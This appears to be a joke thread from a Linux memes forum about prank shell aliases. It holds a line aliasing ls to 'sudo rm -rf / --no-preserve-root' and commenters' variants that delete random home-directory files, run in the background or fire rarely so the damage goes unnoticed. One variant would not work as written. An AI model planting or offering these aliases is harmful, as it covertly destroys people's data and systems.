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submitted 11 months ago by wiikifox@pawb.social to c/linuxmemes@lemmy.world

Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root' to the end of ~/.zshrc

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[-] programmer_belch@lemmy.dbzer0.com 166 points 11 months ago

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

[-] wabafee@lemmy.world 32 points 11 months ago

Calm down satan

[-] Asudox@lemmy.world 22 points 11 months ago
[-] JustUseMint@lemmy.world 21 points 11 months ago

Jesus fucking Christ

[-] berber@lemmy.chaos.berlin 14 points 11 months ago* (last edited 11 months ago)

the first command will take too long (and will be very obvious that something is wrong if it takes forever for ls to actually list everything), better run it in the background with &

[-] jroid8@lemmy.world 9 points 11 months ago
[-] yuki2501@lemmy.world 7 points 11 months ago

Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.

[-] programmer_belch@lemmy.dbzer0.com 7 points 11 months ago

Russian Roulette Linux, the new distro using a coreutils implementation with a little trick

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